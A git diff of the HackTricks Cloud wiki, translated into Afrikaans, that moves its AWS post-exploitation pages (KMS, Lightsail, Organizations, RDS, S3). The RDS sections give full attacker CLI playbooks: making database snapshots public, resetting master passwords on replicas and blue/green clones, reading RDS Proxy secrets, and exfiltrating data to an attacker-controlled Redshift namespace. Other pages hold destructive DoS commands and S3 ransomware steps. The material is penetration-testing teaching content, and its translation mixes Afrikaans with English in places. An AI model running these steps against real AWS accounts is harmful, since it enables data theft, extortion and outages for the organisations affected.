\ +--message-type RAW +``` +### DoS with Custom Key Stores +Met toestemmings soos `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, of `kms:UpdateCustomKeyStore` kan 'n akteur 'n AWS KMS Custom Key Store (CKS) wysig, ontkoppel of verwyder, wat sy master keys onbruikbaar maak. Dit breek enkripsie-, dekripsie- en ondertekeningsbedrywighede vir enige dienste wat op daardie sleutels staatmaak en kan onmiddellike denial-of-service veroorsaak. Daarom is dit kritiek om daardie toestemmings te beperk en te monitor. +```bash +aws kms delete-custom-key-store --custom-key-store-id + +aws kms disconnect-custom-key-store --custom-key-store-id + +aws kms update-custom-key-store --custom-key-store-id --new-custom-key-store-name --key-store-password +``` +
+ +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md deleted file mode 100644 index 381d83977..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md +++ /dev/null @@ -1,30 +0,0 @@ -# AWS - Lightsail Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## Lightsail - -Vir meer inligting, kyk: - -{{#ref}} -../aws-services/aws-lightsail-enum.md -{{#endref}} - -### Herstel ou DB-snapshots - -As die DB snapshots het, mag jy in staat wees om **sensitiewe inligting wat tans in ou snapshots verwyder is, te vind**. **Herstel** die snapshot in 'n **nuwe databasis** en kyk daarna. - -### Herstel Instansie Snapshots - -Instansie snapshots mag **sensitiewe inligting** van reeds verwyderde instansies of sensitiewe inligting wat in die huidige instansie verwyder is, bevat. **Skep nuwe instansies vanaf die snapshots** en kyk daarna.\ -Of **voer die snapshot uit na 'n AMI in EC2** en volg die stappe van 'n tipiese EC2 instansie. - -### Toegang tot Sensitiewe Inligting - -Kyk na die Lightsail privesc opsies om verskillende maniere te leer om potensiële sensitiewe inligting te bekom: - -{{#ref}} -../aws-privilege-escalation/aws-lightsail-privesc.md -{{#endref}} - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md new file mode 100644 index 000000000..60e8ff664 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md @@ -0,0 +1,30 @@ +# AWS - Lightsail Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Lightsail + +Vir meer inligting, sien: + +{{#ref}} +../../aws-services/aws-lightsail-enum.md +{{#endref}} + +### Restore old DB snapshots + +As die DB snapshots het, kan jy dalk **gevoelige inligting vind wat tans in die huidige databasis uitgevee is maar in ou snapshots bestaan**. **Herstel** die snapshot in 'n **nuwe databasis** en kontroleer dit. + +### Restore Instance Snapshots + +Instance snapshots kan moontlik **gevoelige inligting** bevat van reeds verwyderde instances of sensitiewe inligting wat in die huidige instance verwyder is. **Skep nuwe instances vanaf die snapshots** en kontroleer dit.\ +Of **export the snapshot to an AMI in EC2** and follow the steps of a typical EC2 instance. + +### Access Sensitive Information + +Kyk na die Lightsail privesc-opsies om verskillende maniere te leer om moontlike gevoelige inligting te verkry: + +{{#ref}} +../../aws-privilege-escalation/aws-lightsail-privesc/README.md +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md deleted file mode 100644 index 2a4b57cb4..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md +++ /dev/null @@ -1,17 +0,0 @@ -# AWS - Organisasies Post Exploitatie - -{{#include ../../../banners/hacktricks-training.md}} - -## Organisasies - -Vir meer inligting oor AWS Organisasies, kyk: - -{{#ref}} -../aws-services/aws-organizations-enum.md -{{#endref}} - -### Verlaat die Organisasie -```bash -aws organizations deregister-account --account-id --region -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md new file mode 100644 index 000000000..7fb848787 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md @@ -0,0 +1,17 @@ +# AWS - Organizations Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Organizations + +Vir meer inligting oor AWS Organizations, sien: + +{{#ref}} +../../aws-services/aws-organizations-enum.md +{{#endref}} + +### Verlaat die Org +```bash +aws organizations deregister-account --account-id --region +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md similarity index 74% rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md index c86598afc..8e68c6651 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md @@ -1,18 +1,18 @@ -# AWS - RDS Post-uitbuiting +# AWS - RDS Post Exploitation -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## RDS Vir meer inligting, sien: {{#ref}} -../aws-services/aws-relational-database-rds-enum.md +../../aws-services/aws-relational-database-rds-enum.md {{#endref}} ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance` -As die aanvaller genoeg toestemmings het, kan hy 'n **DB openbaar toeganklik** maak deur 'n snapshot van die DB te skep, en dan 'n openbaar toeganklike DB uit daardie snapshot te herstel. +As die attacker genoeg permissions het, kan hy 'n **DB publiek toeganklik** maak deur 'n snapshot van die DB te skep, en dan 'n publiek toeganklike DB vanaf die snapshot te herstel. ```bash aws rds describe-db-instances # Get DB identifier @@ -40,9 +40,9 @@ aws rds modify-db-instance \ ``` ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot` -'n aanvaller met hierdie toestemmings kan **'n snapshot van 'n DB skep** en dit **openlik** **beskikbaar** maak. Dan kan hy net in sy eie rekening 'n DB uit daardie snapshot skep. +'n aanvaller met hierdie toestemmings kan **'n snapshot van 'n DB skep** en dit **openbaar** **beskikbaar** maak. Dan kan hy net in sy eie rekening 'n DB vanaf daardie snapshot skep. -As die aanvaller **nie die `rds:CreateDBSnapshot` het nie**, kan hy steeds **ander** geskepte snapshots **publiek** maak. +As die aanvaller **nie die `rds:CreateDBSnapshot` het nie**, kan hy steeds **ander** geskepte snapshots **openbaar** maak. ```bash # create snapshot aws rds create-db-snapshot --db-instance-identifier --db-snapshot-identifier @@ -53,48 +53,48 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier -- ``` ### `rds:DownloadDBLogFilePortion` -'n aanvaller met die `rds:DownloadDBLogFilePortion`-toestemming kan **gedeeltes van 'n RDS-instansie se loglêers aflaai**. As sensitiewe data of inlogbewyse per ongeluk aangeteken word, kan die aanvaller hierdie inligting moontlik gebruik om hul voorregte te verhoog of om ongemagtigde aksies uit te voer. +'n aanvaller met die `rds:DownloadDBLogFilePortion` toestemming kan **gedeeltes van 'n RDS-instansie se loglêers aflaai**. As sensitiewe data of inlogbesonderhede per ongeluk in loglêers aangeteken word, kan die aanvaller hierdie inligting moontlik gebruik om hul bevoegdhede te eskaleer of om ongemagtigde handelinge uit te voer. ```bash aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text ``` -**Potensiële impak**: Toegang tot sensitiewe inligting of ongemagtigde aksies deur gebruik te maak van leaked credentials. +**Potensiële impak**: Toegang tot sensitiewe inligting of ongemagtigde handelinge deur gebruik te maak van leaked credentials. ### `rds:DeleteDBInstance` -’n aanvaller met hierdie permissies kan **DoS existing RDS instances**. +'n aanvaller met hierdie toestemmings kan **DoS bestaande RDS instansies**. ```bash # Delete aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot ``` -**Potensiële impak**: Verwydering van bestaande RDS-instanse en moontlike dataverlies. +**Potensiële impak**: Verwydering van bestaande RDS-instansies en moontlike dataverlies. ### `rds:StartExportTask` > [!NOTE] > TODO: Toets -'n attacker met hierdie toestemming kan **export an RDS instance snapshot to an S3 bucket**. As die attacker beheer oor die bestemming S3 bucket het, kan hulle moontlik toegang kry tot sensitiewe data in die uitgevoerde snapshot. +'n aanvaller met hierdie toestemming kan **'n RDS-instansie-snapshot na 'n S3-bucket uitvoer**. Indien die aanvaller beheer oor die bestemmings-S3-bucket het, kan hulle moontlik sensitiewe data binne die geëksporteerde snapshot toegang kry. ```bash aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id ``` **Potensiële impak**: Toegang tot sensitiewe data in die uitgevoerde snapshot. -### Kruis-Region Outomatiese Rugsteunreplikasie vir Stil Herstel (`rds:StartDBInstanceAutomatedBackupsReplication`) +### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`) -Misbruik kruis-Region outomatiese rugsteunreplikasie om stilweg 'n RDS-instansie se outomatiese rugsteune na 'n ander AWS Region te dupliseer en daar te herstel. Die aanvaller kan dan die herstelde DB openbaar toeganklik maak en die master-wagwoord terugstel om data buite-band te bekom in 'n Region wat verdedigers moontlik nie monitor nie. +Misbruik cross-Region automated backups replication om stilweg 'n RDS-instance se automated backups na 'n ander AWS Region te dupliseer en daar te herstel. Die aanvaller kan dan die herstelde DB openbaar toeganklik maak en die master-wagwoord terugstel om toegang tot data op 'n wyse buite die normale monitering te verkry in 'n Region wat verdedigers moontlik nie monitor nie. Benodigde permissies (minimum): -- `rds:StartDBInstanceAutomatedBackupsReplication` in die bestemming Region -- `rds:DescribeDBInstanceAutomatedBackups` in die bestemming Region -- `rds:RestoreDBInstanceToPointInTime` in die bestemming Region -- `rds:ModifyDBInstance` in die bestemming Region +- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region +- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region +- `rds:RestoreDBInstanceToPointInTime` in the destination Region +- `rds:ModifyDBInstance` in the destination Region - `rds:StopDBInstanceAutomatedBackupsReplication` (opsionele opruiming) - `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (om die herstelde DB bloot te stel) -Impak: Persistensie en data-ekssfiltrasie deur 'n kopie van produksiedata in 'n ander Region te herstel en dit openbaar te stel met deur die aanvaller beheerde inlogbesonderhede. +Impak: Persistensie en data-eksfiltrasie deur 'n kopie van produksiedata in 'n ander Region te herstel en dit openbaar bloot te stel met deur die aanvaller beheerde inlogbewyse.
-End-to-end CLI (vervang plaashouers) +End-tot-end CLI (vervang plekhouers) ```bash # 1) Recon (SOURCE region A) aws rds describe-db-instances \ @@ -163,26 +163,26 @@ aws rds stop-db-instance-automated-backups-replication \
-### Aktiveer volledige SQL-logging via DB-parametergroepe en eksfiltreer via RDS-log APIs +### Skakel volledige SQL-logging in via DB-parametergroepe en exfiltrate via RDS log APIs -Misbruik `rds:ModifyDBParameterGroup` saam met RDS log download APIs om alle SQL-opdragte wat deur toepassings uitgevoer word te vang (geen DB engine credentials benodig nie). Skakel engine SQL-logging in en haal die loglêers via `rds:DescribeDBLogFiles` en `rds:DownloadDBLogFilePortion` (of die REST `downloadCompleteLogFile`). Nuttig om query's te versamel wat geheime/PII/JWTs kan bevat. +Misbruik `rds:ModifyDBParameterGroup` saam met RDS log download APIs om alle SQL-opdragte wat deur toepassings uitgevoer word vas te lê (geen DB engine credentials benodig nie). Skakel engine SQL-logging in en haal die loglêers af via `rds:DescribeDBLogFiles` en `rds:DownloadDBLogFilePortion` (of die REST `downloadCompleteLogFile`). Nuttig om queries te versamel wat moontlik secrets/PII/JWTs bevat. -Permissions needed (minimum): +Benodigde permissies (minimum): - `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion` - `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup` - `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one) - `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL) -Steps -1) Recon target en huidige parametergroep +Stappe +1) Recon die teiken en huidige parametergroep ```bash aws rds describe-db-instances \ --query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \ --output table ``` -2) Verseker dat 'n aangepaste DB parameter group aangeheg is (kan nie die standaard wysig nie) -- As die instansie reeds 'n aangepaste DB parameter group gebruik, hergebruik die naam daarvan in die volgende stap. -- Anders skep en heg een aan wat by die enjinfamilie pas: +2) Verseker dat 'n pasgemaakte DB parameter group aangeheg is (kan nie die standaard wysig nie) +- As die instansie reeds 'n pasgemaakte groep gebruik, hergebruik sy naam in die volgende stap. +- Andersins skep en heg een aan wat ooreenstem met die engine family: ```bash # Example for PostgreSQL 16 aws rds create-db-parameter-group \ @@ -196,8 +196,8 @@ aws rds modify-db-instance \ --apply-immediately # Wait until status becomes "available" ``` -3) Skakel uitgebreide SQL-logging in -- MySQL-enjins (onmiddellik / geen herstart): +3) Skakel verbose SQL logging aan +- MySQL engines (onmiddellik / geen herbegin nodig): ```bash aws rds modify-db-parameter-group \ --db-parameter-group-name \ @@ -208,7 +208,7 @@ aws rds modify-db-parameter-group \ # "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \ # "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate" ``` -- PostgreSQL engines (herbegin vereis): +- PostgreSQL enjinne (herbegin vereis): ```bash aws rds modify-db-parameter-group \ --db-parameter-group-name \ @@ -220,11 +220,11 @@ aws rds modify-db-parameter-group \ # Reboot if any parameter is pending-reboot aws rds reboot-db-instance --db-instance-identifier ``` -4) Laat die workload loop (of genereer queries). Statements sal geskryf word na engine file logs +4) Laat die werkbelasting loop (of genereer navrae). Statements sal geskryf word na engine-lêerlogs - MySQL: `general/mysql-general.log` - PostgreSQL: `postgresql.log` -5) Ontdek en laai logs af (geen DB creds benodig) +5) Ontdek en laai logs af (no DB creds required) ```bash aws rds describe-db-log-files --db-instance-identifier @@ -246,7 +246,7 @@ Voorbeeldbewys (gesensureer): 2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED') ``` Opruiming -- Stel parameters terug na verstek en herbegin indien nodig: +- Herstel parameters na verstekwaardes en herbegin indien nodig: ```bash # MySQL aws rds modify-db-parameter-group \ @@ -261,19 +261,19 @@ aws rds modify-db-parameter-group \ "ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot" # Reboot if pending-reboot ``` -Impak: Post-exploitation toegang tot data deur alle application SQL statements via AWS APIs (no DB creds) vas te vang, wat moontlik secrets, JWTs en PII kan leak. +Impak: Post-exploitation toegang tot data deur alle toepassing se SQL-opdragte via AWS APIs vas te vang (no DB creds), moontlik leaking secrets, JWTs, and PII. ### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance` -Misbruik RDS read replicas om out-of-band lees-toegang te kry sonder om die primary instance credentials aan te raak. 'n Aanvaller kan 'n read replica van 'n produksie-instansie skep, die replica se master-wagwoord terugstel (this does not change the primary), en opsioneel die replica publiek blootstel om data te exfiltrate. +Misbruik RDS read replicas om out-of-band read access te verkry sonder om die primary instance credentials aan te raak. 'n aanvaller kan 'n read replica van 'n produksie-instansie skep, die replica se master password terugstel (dit verander nie die primary nie), en opsioneel die replica openbaar blootstel om data te exfiltrate. Benodigde permissies (minimum): - `rds:DescribeDBInstances` - `rds:CreateDBInstanceReadReplica` - `rds:ModifyDBInstance` -- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (as jy dit publiekelik blootstel) +- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (as die replica openbaar blootgestel word) -Impak: Lees-slegs toegang tot produksiedata via 'n replica met aanvaller-beheerde credentials; laer waarskynlikheid van opsporing aangesien die primêre ongemoeid bly en replikasie voortgaan. +Impak: Read-only toegang tot produksiedata via 'n replica met attacker-controlled credentials; laer waarskynlikheid van deteksie aangesien die primary onaangeraak bly en replication voortgaan. ```bash # 1) Recon: find non-Aurora sources with backups enabled aws rds describe-db-instances \ @@ -305,12 +305,12 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier # aws rds promote-read-replica --db-instance-identifier ``` Voorbeeldbewyse (MySQL): -- Replica DB-status: `available`, leesreplikasie: `replicating` -- Suksesvolle konneksie met nuwe wagwoord en `@@read_only=1` wat lees-alleen replica-toegang bevestig. +- Replica DB-status: `available`, read replication: `replicating` +- Suksesvolle verbinding met nuwe wagwoord en `@@read_only=1` wat lees‑alleen replica-toegang bevestig. ### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance` -Misbruik RDS Blue/Green om 'n produksie-DB te kloon in 'n deurlopend gereplikeerde, lees-alleen green-omgewing. Herstel dan die green master-kredensiale om toegang tot die data te kry sonder om die blue (prod) instansie aan te raak. Dit is meer onopvallend as snapshot sharing en omseil dikwels monitering wat slegs op die bron gefokus is. +Misbruik RDS Blue/Green om 'n produksie DB te kloon in 'n deurlopend gereplikeerde, lees‑alleen green-omgewing. Herstel dan die green-master credentials om toegang tot die data te kry sonder om die blue (prod) instance aan te raak. Hierdie is minder sigbaar as snapshot sharing en omseil dikwels monitering wat slegs op die bron fokus. ```bash # 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account) aws rds describe-db-instances \ @@ -357,22 +357,22 @@ aws rds delete-blue-green-deployment \ --blue-green-deployment-identifier \ --delete-target true ``` -Impak: Lees-alleen, maar volle databeskikbaarheid tot 'n byna regstreekse kloon van produksie sonder om die produksie-instansie te wysig. Nuttig vir sluipende data-uittrekking en aflyn-analise. +Impak: Slegs lees maar volle data-toegang tot 'n byna-reële-tyd kloon van produksie sonder om die produksie-instansie te wysig. Nuttig vir stilletjies data-ekstraksie en aflyn-analise. -### Out-of-band SQL via RDS Data API deur die HTTP-endpoint te aktiveer + die master password terug te stel +### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password -Misbruik Aurora om die RDS Data API HTTP-endpoint op 'n teiken-kluster te aktiveer, die master password te herstel na 'n waarde wat jy beheer, en SQL oor HTTPS uit te voer (geen VPC-netwerkpad benodig nie). Werk op Aurora engines wat die Data API/EnableHttpEndpoint ondersteun (bv. Aurora MySQL 8.0 provisioned; sommige Aurora PostgreSQL/MySQL weergawes). +Misbruik Aurora om die RDS Data API HTTP-endpoint op 'n teiken-kluster te aktiveer, die master-wagwoord na 'n waarde wat jy beheer te herstel, en voer SQL oor HTTPS uit (geen VPC-netwerkpad benodig nie). Werk op Aurora engines wat die Data API/EnableHttpEndpoint ondersteun (e.g., Aurora MySQL 8.0 provisioned; sommige Aurora PostgreSQL/MySQL weergawes). Permissions (minimum): - rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint) - secretsmanager:CreateSecret -- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used) +- rds-data:ExecuteStatement (en rds-data:BatchExecuteStatement indien gebruik) -Impak: Omseil netwerkskeiding en eksfiltreer data via AWS APIs sonder direkte VPC-konneksie na die DB. +Impak: Omseil netwerksegmentering en exfiltrate data via AWS APIs sonder direkte VPC-verbinding na die DB.
-End-to-end CLI (Aurora MySQL voorbeeld) +Eind-tot-eind CLI (Aurora MySQL voorbeeld) ```bash # 1) Identify target cluster ARN REGION=us-east-1 @@ -425,21 +425,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
Aantekeninge: -- As multi-statement SQL deur `rds-data` geweier word, voer aparte `execute-statement`-oproepe uit. -- Vir enjinne waar `modify-db-cluster --enable-http-endpoint` geen effek het nie, gebruik `rds enable-http-endpoint --resource-arn`. -- Maak seker die enjin/weergawe ondersteun werklik die `Data API`; anders sal `HttpEndpointEnabled` op `False` bly. +- As multi-statement SQL deur rds-data verwerp word, stuur afsonderlike execute-statement-oproepe. +- Vir enjinne waar modify-db-cluster --enable-http-endpoint geen uitwerking het nie, gebruik rds enable-http-endpoint --resource-arn. +- Verseker dat die enjin/weergawe werklik die Data API ondersteun; anders sal HttpEndpointEnabled op False bly. -### Verkry DB-credentials via RDS Proxy auth-sekrete (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) +### Verkry DB-kredensiële via RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) -Misbruik RDS Proxy-konfigurasie om die Secrets Manager-secret wat vir backend-verifikasie gebruik word te ontdek, en lees dan die secret om databasis-credentials te bekom. Baie omgewings verleen uitgebreide `secretsmanager:GetSecretValue`, wat dit 'n lae-wrywing pivot na DB-creds maak. As die secret 'n CMK gebruik, kan verkeerd-afgebakende KMS-magtigings ook `kms:Decrypt` toelaat. +Misbruik RDS Proxy-konfigurasie om die Secrets Manager-secret wat vir backend-verifikasie gebruik word te ontdek, en lees dan die geheim om databank-kredensiële te verkry. Baie omgewings verleen uitgebreide `secretsmanager:GetSecretValue`, wat dit 'n lae-wrywing pivot na DB-kredensiële maak. As die geheim 'n CMK gebruik, kan verkeerd-gescopeerde KMS-magtigings ook `kms:Decrypt` toelaat. -Vereiste permissies (minimum): +Benodigde permissies (minimum): - `rds:DescribeDBProxies` -- `secretsmanager:GetSecretValue` op die verwysde SecretArn -- Opsioneel as die secret 'n CMK gebruik: `kms:Decrypt` op daardie sleutel +- `secretsmanager:GetSecretValue` on the referenced SecretArn +- Optional when the secret uses a CMK: `kms:Decrypt` on that key -Impak: Onmiddellike openbaarmaking van die DB gebruikersnaam/wagwoord wat op die proxy gekonfigureer is; maak direkte DB-toegang of verdere laterale beweging moontlik. +Impact: Onmiddellike openbaarmaking van die DB-gebruikersnaam/wagwoord wat op die proxy gekonfigureer is; stel direkte DB-toegang of verdere laterale beweging in staat. Stappe ```bash @@ -480,11 +480,11 @@ aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aw aws iam delete-role --role-name rds-proxy-secret-role aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery ``` -### Onopgemerkde deurlopende eksfiltrasie via Aurora zero‑ETL na Amazon Redshift (rds:CreateIntegration) +### Stilswyende deurlopende eksfiltrasie via Aurora zero‑ETL na Amazon Redshift (rds:CreateIntegration) -Misbruik Aurora PostgreSQL zero‑ETL-integrasie om produksiedata deurlopend te repliseer na 'n Redshift Serverless namespace wat jy beheer. Met 'n permissiewe Redshift resource policy wat CreateInboundIntegration/AuthorizeInboundIntegration vir 'n spesifieke Aurora cluster ARN magtig, kan 'n aanvaller 'n byna-real-time datakopie opstel sonder DB creds, snapshots of netwerkblootstelling. +Misbruik Aurora PostgreSQL zero‑ETL integration om produksiedata deurlopend na 'n Redshift Serverless namespace wat jy beheer te repliseer. Met 'n permissiewe Redshift resource policy wat CreateInboundIntegration/AuthorizeInboundIntegration magtig vir 'n spesifieke Aurora cluster ARN, kan 'n aanvaller 'n byna regstreekse datakopie vestig sonder DB creds, snapshots of netwerkblootstelling. -Benodigde permissies (minimum): +Benodigde bevoegdhede (minimum): - `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration` - `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations` - `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query) @@ -493,7 +493,7 @@ Benodigde permissies (minimum): Getoets op: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
-1) Skep Redshift Serverless namespace + werkgroep +1) Skep Redshift Serverless namespace + workgroup ```bash REGION=us-east-1 RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \ @@ -540,7 +540,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
-3) Skep Aurora PostgreSQL kluster (aktiveer Data API en logiese replikasie) +3) Skep Aurora PostgreSQL cluster (aktiveer Data API en logiese replisering) ```bash CLUSTER_ID=aurora-ztl aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ @@ -571,7 +571,7 @@ SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier
-4) Skep die zero‑ETL-integrasie vanaf RDS +4) Skep die zero‑ETL-integrasie van RDS ```bash # Include all tables in the default 'postgres' database aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \ @@ -583,7 +583,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
-5) Materialiseer en opvra gerepliseerde data in Redshift +5) Materialiseer en bevraag gerepliseerde data in Redshift ```bash # Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION) aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ @@ -596,12 +596,12 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d ```
-Bewyse waargeneem tydens die toets: +Bewyse wat tydens die toets waargeneem is: - redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-... -- SVV_INTEGRATION het integration_id 377a462b-c42c-4f08-937b-77fe75d98211 en state PendingDbConnectState getoon prior to DB creation. -- Na CREATE DATABASE FROM INTEGRATION het die lys van tabelle die skema ztl en tabel customers getoon; seleksie van ztl.customers het 2 rye teruggegee (Alice, Bob). +- SVV_INTEGRATION het integration_id 377a462b-c42c-4f08-937b-77fe75d98211 en state PendingDbConnectState getoon voor die skep van die databasis. +- Nadat CREATE DATABASE FROM INTEGRATION uitgevoer is, het die lys van tabelle die skema ztl en tabel customers getoon; die seleksie vanaf ztl.customers het 2 rye teruggegee (Alice, Bob). -Impak: Deurlopende byna-regstreekse exfiltration van geselekteerde Aurora PostgreSQL tables na Redshift Serverless wat deur die aanvaller beheer word, sonder om database credentials, backups, of network access tot die source cluster te gebruik. +Impak: Deurlopende byna-reële-tyd exfiltration van geselekteerde Aurora PostgreSQL-tabelle na Redshift Serverless onder beheer van die aanvaller, sonder om databasis-inlogbewyse, rugsteunkopieë of netwerktoegang tot die bronkluster te gebruik. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md deleted file mode 100644 index 4a6f0cac5..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md +++ /dev/null @@ -1,38 +0,0 @@ -# AWS - S3 Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## S3 - -Vir meer inligting, kyk: - -{{#ref}} -../aws-services/aws-s3-athena-and-glacier-enum.md -{{#endref}} - -### Sensitiewe Inligting - -Soms sal jy in staat wees om sensitiewe inligting in leesbare vorm in die emmers te vind. Byvoorbeeld, terraform staat geheime. - -### Pivoting - -Verskillende platforms kan S3 gebruik om sensitiewe bates te stoor.\ -Byvoorbeeld, **airflow** kan **DAGs** **kode** daarin stoor, of **webbladsye** kan direk van S3 bedien word. 'n Aanvaller met skryfrechten kan die **kode** van die emmer **wysig** om na ander platforms te **pivot** of **rekening oor te neem** deur JS-lêers te wysig. - -### S3 Ransomware - -In hierdie scenario, die **aanvaller skep 'n KMS (Key Management Service) sleutel in hul eie AWS-rekening** of 'n ander gecompromitteerde rekening. Hulle maak hierdie **sleutel beskikbaar vir enige iemand in die wêreld**, wat enige AWS-gebruiker, rol, of rekening toelaat om voorwerpe met hierdie sleutel te enkripteer. Die voorwerpe kan egter nie gedekripteer word nie. - -Die aanvaller identifiseer 'n teiken **S3-emmer en verkry skryfniveau toegang** daartoe deur verskeie metodes. Dit kan wees as gevolg van swak emmerkonfigurasie wat dit publiek blootstel of die aanvaller wat toegang tot die AWS-omgewing self verkry. Die aanvaller teiken gewoonlik emmers wat sensitiewe inligting bevat soos persoonlik identifiseerbare inligting (PII), beskermde gesondheidsinligting (PHI), logs, rugsteun, en meer. - -Om te bepaal of die emmer geteiken kan word vir ransomware, kontroleer die aanvaller die konfigurasie daarvan. Dit sluit in om te verifieer of **S3 Object Versioning** geaktiveer is en of **multi-factor authentication delete (MFA delete) geaktiveer is**. As Object Versioning nie geaktiveer is nie, kan die aanvaller voortgaan. As Object Versioning geaktiveer is maar MFA delete gedeaktiveer is, kan die aanvaller **Object Versioning deaktiveer**. As beide Object Versioning en MFA delete geaktiveer is, word dit moeiliker vir die aanvaller om daardie spesifieke emmer te ransomware. - -Met die AWS API, die aanvaller **vervang elke voorwerp in die emmer met 'n geënkripteerde kopie met hul KMS-sleutel**. Dit enkripteer effektief die data in die emmer, wat dit ontoeganklik maak sonder die sleutel. - -Om verdere druk te plaas, skeduleer die aanvaller die verwydering van die KMS-sleutel wat in die aanval gebruik is. Dit gee die teiken 'n 7-dae venster om hul data te herstel voordat die sleutel verwyder word en die data permanent verlore gaan. - -Laastens, die aanvaller kan 'n finale lêer oplaai, gewoonlik genaamd "ransom-note.txt," wat instruksies vir die teiken bevat oor hoe om hul lêers te herwin. Hierdie lêer word sonder enkripsie opgelaai, 